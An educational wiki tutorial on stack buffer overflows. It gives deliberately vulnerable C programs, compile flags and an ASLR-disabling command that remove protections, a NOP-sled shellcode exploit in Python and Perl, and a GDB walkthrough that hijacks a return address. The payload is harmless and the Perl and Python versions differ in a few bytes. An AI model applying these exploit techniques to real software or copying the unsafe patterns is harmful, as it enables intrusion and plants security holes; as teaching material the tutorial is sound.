Binary Exploitation (Buffer Overflow)

From Elvis Wiki

Overview

This Pentesting article features 3 examples on exploiting different binaries, that have buffer overflow vulnerabilities.

The examples range from very simple ones to more complex versions.

All examples were created in Linux and written in C.

To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used. To debug binaries the GNU Debugger (GDB) was used.

Requirements

  • Operating system: Linux
  • Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)

Install gcc-multilib and gdb using apt.

sudo apt update
sudo apt install gcc-multilib
sudo apt install gdb

In order to complete these steps, you must have followed Buffer Overflows before.

The theoretical part is required to understand basic concepts needed for the examples.

Example 1: Simple Game to Overwrite an Integer

This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.

The program was compiled with this command:

gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c

Input smaller than 8 ➜ program exits

Input bigger than 8 ➜ flag

This is the code in C:

#include <stdio.h>

int main() {
    volatile int secret_treasure = 0;
    char buffer[8]; 

    printf("Welcome to the Treasure Hunt!\n");
    printf("The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n");
    printf("Initially, the treasure status is hidden...\n\n");

    printf("Enter your code: ");
    gets(buffer);

    if (secret_treasure != 0) {
        printf("\n**** Treasure Found! ****\n");
        printf("Your treasure is: FLAG{BUFFER OVERFLOW}\n");
    } else {
        printf("\nSorry, your code was too small. No treasure found.\n");
    }

    return 0;
}

Example 2: Execute Your Own Shellcode

This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer.

Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.

This is the code in C:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(char *input) {
    char buffer[256];

    printf("Buffer address: %p\n", (void *)buffer);

    strcpy(buffer, input); 
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: %s <input>\n", argv[0]);
        return 1;
    }

    vuln(argv[1]);

    printf("Function executed without crashing.\n");
    return 0;
}

To compile the C code into a program the following command is used.

gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable
  1. -m32 ➜ 32-bit file
  2. -no-pie ➜ start at a fixed address
  3. -fno-stack-protector ➜ disable canaries
  4. -z execstack ➜ make the stack executable
  5. -Wno-implicit-function-declaration ➜ supress warnings

The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed.

The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.

While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order.

This is the code of the exploit in Python:

import sys

nop_sled = b"\x90" * 100

shellcode = (
    b"\x31\xc0\xb0\x04\x31\xdb\xb3\x01"
    b"\x68\x45\x44\x21\x21"  # !!DE
    b"\x68\x48\x41\x43\x4b"  # HACK
    b"\x68\x47\x4f\x54\x20"  # GOT
    b"\x68\x59\x4f\x55\x20"  # YOU
    b"\x89\xe1\xb2\x0f\xcd\x80"  # write
)

padding = b"A" * 134

return_address = b"\xb0\xcd\xff\xff"

payload = nop_sled + shellcode + padding + return_address

sys.stdout.buffer.write(payload)

The exploit can be both, a python script and a perl command.

Python:

./vulnerable "$(python3 exploit.py)"

Perl:

./vulnerable "$(perl -e 'print "\x90"x100 . "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80" . "A"x134 . "\xa0\xcd\xff\xff"')"

Here is the String of our shellcode. Since the shellcode is never terminated, the whole stack is printed.

Example 3: Control Flow Alteration via Stack Buffer Overflow Exploitation

The following program is vulnerable to stack-based buffer overflows due to the usage of the insecure gets()-function. gets() is used to write user input into a character array. In the source code, a function called winner() is defined, which is never called in main(). The objective of the following demonstration is to manipulate the execution flow in a way that will force the program to execute the winner() function. To achieve that, the saved return pointer from the stack frame of function will have to be overwritten with the address of the winner function. Firstly, examine the source:

#include <stdio.h>
#include <stdlib.h>

void function(int a, int b, int c) {
  char buffer[5];
  gets(buffer);
}

void winner(){
    printf("Congratulations! You manipulated the execution flow.");
    exit(0);
}

int main() { 
    function(1, 2, 3);
}

Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration.

gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c

Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint.

gdb stack-overflow 
break main
run

Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions.

disassemble main

Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called.

Dump of assembler code for function main:
   0x56556203 <+0>:     lea    ecx,[esp+0x4]
   0x56556207 <+4>:     and    esp,0xfffffff0
   0x5655620a <+7>:     push   DWORD PTR [ecx-0x4]
   0x5655620d <+10>:    push   ebp
   0x5655620e <+11>:    mov    ebp,esp
   0x56556210 <+13>:    push   ecx
=> 0x56556211 <+14>:    sub    esp,0x4
   0x56556214 <+17>:    call   0x5655623c <__x86.get_pc_thunk.ax>
   0x56556219 <+22>:    add    eax,0x2ddb
   0x5655621e <+27>:    sub    esp,0x4
   0x56556221 <+30>:    push   0x3
   0x56556223 <+32>:    push   0x2
   0x56556225 <+34>:    push   0x1
   0x56556227 <+36>:    call   0x565561ad <function>
   0x5655622c <+41>:    add    esp,0x10
   0x5655622f <+44>:    mov    eax,0x0
   0x56556234 <+49>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x56556237 <+52>:    leave
   0x56556238 <+53>:    lea    esp,[ecx-0x4]
   0x5655623b <+56>:    ret

Disassemble the function "function".

disassemble function

Find the call to gets.

Dump of assembler code for function function:
   0x565561ad <+0>:     push   ebp
   0x565561ae <+1>:     mov    ebp,esp
   0x565561b0 <+3>:     push   ebx
   0x565561b1 <+4>:     sub    esp,0x14
   0x565561b4 <+7>:     call   0x5655623c <__x86.get_pc_thunk.ax>
   0x565561b9 <+12>:    add    eax,0x2e3b
   0x565561be <+17>:    sub    esp,0xc
   0x565561c1 <+20>:    lea    edx,[ebp-0xd]
   0x565561c4 <+23>:    push   edx
   0x565561c5 <+24>:    mov    ebx,eax
   0x565561c7 <+26>:    call   0x56556050 <gets@plt>
   0x565561cc <+31>:    add    esp,0x10
   0x565561cf <+34>:    nop
   0x565561d0 <+35>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x565561d3 <+38>:    leave
   0x565561d4 <+39>:    ret

Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some 'A' characters as user input.

break *0x565561cc 
continue

Examine the current state of the CPU's registers.

info registers
...
esp            0xffffcc50          0xffffcc50
ebp            0xffffcc78          0xffffcc78
...
eip            0x565561cc          0x565561cc <function+31>
...

Inspect the current stack frame.

info frame

Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it's caller.

...
eip = 0x565561cc in function; saved eip = 0x5655622c
...

One can examine which instruction is saved at that address.

x/i 0x5655622c

Confirm that it is actually the one right after the function call in <main> by looking at the disassembled main function again.

disassemble main

Now examine the stack to find the 'A' characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point.

x/8xw $ebp

Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue.

0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002
0xffffcc88:     0x00000003      ...             ...             ...

Now examine the stack further, subtracting from the address of ebp in order to find the buffer.

x/8xw $ebp - 16
0xffffcc68:     0x41000000      0x00414141      0x00000000      0xf7f9ae14
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002

Alternatively, look at the output per byte.

x/24xb $ebp - 16
0xffffcc68:     0x00    0x00    0x00    0x41    0x41    0x41    0x41    0x00
0xffffcc70:     0x00    0x00    0x00    0x00    0x14    0xae    0xf9    0xf7
0xffffcc78:     0x98    0xcc    0xff    0xff    0x2c    0x62    0x55    0x56

Find the start of the buffer, the first occurrence of the character 'A' in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.

Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string "winner" will return the address of the function winner.

info functions winner
All functions matching regular expression "winner":
...
0x565561d5  winner

Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.

Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 'A' characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word.

echo -ne '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56' > exploit.bin

Assert that the bytes were written correctly to the file and, if necessary, make changes to it.

hexdump -C exploit.bin 
hexeditor exploit.bin
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000010  41 d5 61 55 56                                    |A.aUV|
00000015

Run the program supplying the exploit file to it as user input.

./stack-overflow < exploit.bin
Congratulations! You manipulated the flow of execution.

References